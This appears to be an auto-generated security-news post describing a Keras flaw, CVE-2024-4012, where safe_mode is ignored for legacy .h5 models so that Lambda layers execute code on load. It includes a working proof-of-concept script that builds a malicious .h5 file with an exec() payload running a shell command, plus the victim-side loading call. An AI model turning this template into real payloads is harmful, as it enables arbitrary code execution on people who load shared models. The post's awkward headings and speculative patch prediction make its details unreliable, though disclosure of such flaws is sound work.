Listen to this Post
The vulnerability CVE-2024-4012 stems from the `safe_mode` parameter in Keras’s `load_model()` function being silently ignored when loading models from the legacy `.h5` or `.hdf5` file formats. The `load_model` function in `keras/src/saving/saving_api.py` checks the file extension; if it ends with `.h5` or .hdf5, it immediately delegates to the `legacy_h5_format.load_model_from_hdf5()` function without passing the `safe_mode` flag. This legacy loader does not perform any safety checks for unsafe lambda deserialization. Consequently, a malicious `.h5` file containing a `Lambda` layer with a pickled payload that includes arbitrary code (e.g., an `exec()` call) will have that code executed immediately upon model loading. The execution context is that of the Python process running Keras, granting an attacker full control. The `safe_mode=True` parameter provides a false sense of security as it is completely disregarded for these file types.
Platform: Keras
Version: (pre-fix versions)
Vulnerability: Arbitrary Code Execution
Severity: Critical
date: 2024-07-17
Prediction: Patch expected Q3 2024
What Undercode Say:
`keras.models.load_model(“malicious.h5”, safe_mode=True)`
`cat > gen_poc.py << 'EOF'`
`import keras`
`f = lambda x: (exec(“import os; os.system(‘touch /tmp/pwned’)”), x)`
`model = keras.Sequential([keras.layers.Input(shape=(1,)), keras.layers.Lambda(f)])`
`model.compile()`
`keras.saving.save_model(model, “./malicious.h5”)`
`EOF`
`python3 gen_poc.py`
How Exploit:
Attacker creates malicious H5 file with lambda layer containing `exec` payload. Victim loads model, triggering code execution.
Protection from this CVE:
Avoid loading untrusted H5 files. Migrate to `.keras` V3 format. Await patch from Keras team.
Impact:
Full remote code execution on victim machine, equivalent to the Keras process privileges.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

